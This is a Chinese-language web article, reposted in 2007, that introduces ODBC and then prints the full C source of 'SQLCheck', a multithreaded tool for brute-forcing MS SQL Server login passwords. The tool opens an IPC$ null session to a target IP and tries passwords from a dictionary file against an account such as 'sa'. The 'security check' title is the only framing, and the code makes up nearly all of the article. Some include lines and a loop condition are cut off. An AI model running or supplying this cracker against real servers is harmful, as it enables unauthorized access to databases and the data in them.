远程检测MS SQL Server账号安全性

发表于:2007-07-13来源:作者:点击数: 标签:
ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。 ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于 程序员 来说,ODBC API函数集实际

ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。

ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。

一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:

<1>启动ODBC数据库应用程序。

<2>与服务器建立IPC SESSION。

<3>创建数据库应用的环境句柄。

<4>创建连接句柄。

<5>连接数据源。

<6>创建语句句柄。

<7>通过上一步创建的语句句柄来执行SQL操作。

<8>释放语句句柄。

<9>要进行多此SQL操作的话,就循环步骤6-8。

<10>断开与数据库的连接。

<11>释放连接句柄。

<12>释放环境句柄。

<13>断开IPC SESSION。

<14>程序结束。

下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。

/**********************************************************

Module Name:SQLCheck.c

Date:2000.12.14

WEB:www.patching.net

Notices:Copyright(c) eyas

**********************************************************/

#include

#include

#include

#include

#include

#include

#include

#include

////////////////////////////////////////////////////////////////////////

file://定义全局变量

char dict[20000][40],//密码字典

UserName[40],//用户名

target[40],//目标服务器

passwd[40];//已经探测出来的正确密码

int total=0;//字典里面单词数量

BOOL Cracked=FALSE;//探测密码成功时此值为TRUE

HANDLE hSemaphore,//信标内核对象

hEvent;//事件内核对象

long MaxThreads,//最大线程数量

ActiveThreads;//活动线程数量

////////////////////////////////////////////////////////////////////////

void usage(char *pragname)

{

printf("\nPower by eyas"

"\nhttp://www.patching.net"

"\n2000/12/14"

"\n\nUsage:%s "

"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);

return;

}

////////////////////////////////////////////////////////////////////////

int ReadDic(char *dic)

{

FILE *fp;

char tmp[40];

file://打开字典文件

if((fp=fopen(dic,"r"))==NULL)

{

printf("\nCan't open %s",dic);

return 1;

}

while(!feof(fp))

{

file://读取数据到临时变量

if(fgets(tmp,40,fp)==NULL)

break;

file://把从文件里面读出来的最后一位数据[换行符号]去掉

strncpy(dict[total],tmp,strlen(tmp)-1);

total++;

if(total>=19999)

break;

}

fclose(fp);

return 0;

}

////////////////////////////////////////////////////////////////////////

int ConnIPC(char *RemoteName)

{

NETRESOURCE nr;

DWORD flags=CONNECT_UPDATE_PROFILE;

TCHAR RN[30]="\\\\",

LN[5]="";

strcat(RN,RemoteName);

strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;

nr.lpLocalName=(LPTSTR)&LN;

nr.lpRemoteName=(LPTSTR)&RN;

nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)

{

return 0;

}

else

{

return 1;

}

}

////////////////////////////////////////////////////////////////////////

int DelIPC(char *RemoteName)

{

DWORD ret;

TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);

strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);

if(ret==NO_ERROR)

{

return 0;

}

else

{

return 1;

}

}

////////////////////////////////////////////////////////////////////////

DWORD WINAPI SQLCheck(PVOID pPwd)

{

file://定义局部变量

char szBuffer[1025];

char *pwd;

SWORD swStrLen;

SQLHDBC hdbc;

SQLHANDLE henv;

SQLRETURN retcode;//ODBC API运行返回值

SCHAR ConnStr[200];//连接数据库字符串

long PreviousCount;

file://取得传递过来准备探测的密码

pwd=(char *)pPwd;

file://构造连接数据库字符

sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",

target,UserName,pwd);

file://puts(ConnStr);

__try{

file://创建数据库应用的环境句柄

if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)

{

printf("\nAllocate environment handle failed.\n");

ExitProcess(1);

}

file://设置ODBC版本环境

if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)

SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)

{

printf("\nSet the ODBC version environment attribute failed.\n");

SQLFreeHandle(SQL_HANDLE_ENV, henv);

ExitProcess(1);

}

file://创建连接句柄

if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR

*)&hdbc)) != SQL_SUCCESS)

{

printf("\nAllocate connection handle failed.\n");

SQLFreeHandle(SQL_HANDLE_ENV, henv);

ExitProcess(1);

}

file://连接数据源

retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),

szBuffer,sizeof(szBuffer),&swStrLen,

SQL_DRIVER_COMPLETE_REQUIRED);

if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)

{

file://连接失败,函数终止

file://printf("\nCouldn't connect to %s MSSQL server.\n",target);

}

else

{

file://连接远程MSSQL Server数据库成功

Cracked=TRUE;

strncpy(passwd,pwd,sizeof(passwd));

file://断开连接

SQLDisconnect(hdbc);

}

}//end of tyr

__finally{

file://释放连接句柄

SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

file://释放环境句柄

SQLFreeHandle(SQL_HANDLE_ENV, henv);

file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值

ReleaseSemaphore(hSemaphore,1,&PreviousCount);

file://计算当前活动线程数量

ActiveThreads=MaxThreads-PreviousCount-1;

file://printf("\nActiveThreads-->%d.",ActiveThreads);

file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束

if(ActiveThreads==0)

{

SetEvent(hEvent);

}

}//end of finally

return 0;

}

////////////////////////////////////////////////////////////////////////

int main(int argc,char **argv)

{

HANDLE hThread;//线程句柄

DWORD dwThreadId,dwRet;

int i=0,err=0;

clock_t start,end;//程序运行的起始和结束时间

double duration;

if(argc!=5)

{

usage(argv[0]);

return 1;

}

file://取得目标地址,用户名

strncpy(target,argv[1],sizeof(target));

strncpy(UserName,argv[2],sizeof(UserName));

file://取得并检查用户输入的最大线程数量

MaxThreads=atol(argv[4]);

if((MaxThreads>100) || (MaxThreads<1))

{

usage(argv[0]);

return 1;

}

file://读取字典中的单词到内存中

if(ReadDic(argv[3])!=0)

return 1;

file://与目标机器建立IPC Session

if(ConnIPC(argv[1])!=0)

{

printf("\nCan't built IPC NULL Session!");

return 1;

}

else

{

printf("\nBuilt IPC NULL Session suclearcase/" target="_blank" >ccess!\n");

}

file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads

hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);

if(hSemaphore==NULL)

{

printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());

return 1;

}

file://创建事件内核对象[人工重置,初始状态为未通知]

hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);

if(hEvent==NULL)

{

printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());

CloseHandle(hSemaphore);

return 1;

}

file://开始计时

start=clock();

file://开始建立线程探测密码

for(i=0;i {

file://探测密码成功后跳出此循环

if(Cracked==TRUE)

break;

file://显示进度信息

printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);

file://创建线程

hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);

file://处理创建线程错误的情况

if(hThread==NULL)

{

err++;

MessageBox(NULL,"thread error","error",MB_OK);

if(err>=50)

break;

}

CloseHandle(hThread);

Sleep(10);

file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态

WaitForSingleObject(hSemaphore,INFINITE);

}

file://等待事件内核对象通知,最多等待3分钟

dwRet=WaitForSingleObject(hEvent,180000);

switch(dwRet)

{

case WAIT_OBJECT_0:

printf("\nAll thread done.");

break;

case WAIT_TIMEOUT:

printf("\nWait time out.Exit.");

break;

case WAIT_FAILED:

printf("\nWaitForSingleObject() failed.");

break;

}

file://断开与目标机器的IPC Session

DelIPC(target);

file://探测密码成功后回显信息

if(Cracked==TRUE)

printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);

file://记时结束

end=clock();

file://转换时间格式

duration = (double)(end - start) / CLOCKS_PER_SEC;

file://显示所用时间

printf("\n\nComplete.Use %2.1f seconds.\n",duration);

return 0;

}

////////////////////////////////////////////////////////////////////////

程序在windows2000,vc++6.0环境下编译通过。



  

原文转自:http://www.ltesting.net